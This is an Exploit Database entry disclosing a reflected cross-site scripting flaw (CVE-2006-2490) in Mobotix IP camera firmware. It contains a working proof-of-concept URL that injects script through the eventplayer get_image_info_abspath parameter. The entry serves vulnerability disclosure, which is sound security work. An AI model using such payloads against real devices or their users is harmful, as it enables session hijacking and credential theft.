Exploit Database - Logo

obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - eventplayer get_image_info_abspath Parameter Cross-Site Scripting

EDB-ID: 27894 Author: Jaime Blasco Published: 2006-05-17
CVE: CVE-2006-2490 Type: Remote Platform: Hardware
Aliases: N/A Advisory/Source: Link Tags: N/A
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: N/A
« Previous Exploit Next Exploit » 
source: http://www.securityfocus.com/bid/18022/info
  
The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/control/eventplayer?get_image_info_abspath=%3CBODY%20ONLOAD=alert('www.eazel.es')%3E

Related Exploits

Trying to match CVEs (1): CVE-2006-2490
Trying to match OSVDBs (1): 25623
Other Possible E-DB Search Terms: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2,  obotix IP Camera M1 1.9.4 .7,  obotix IP Camera M1
Date D V Title Author
2006-05-17Download Exploit Code Verified obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - events.tar source_ip Parameter Cross-Site ScriptingJaime Blasco
2006-05-17Download Exploit Code Verified obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - help Script Cross-Site ScriptingJaime Blasco
Menu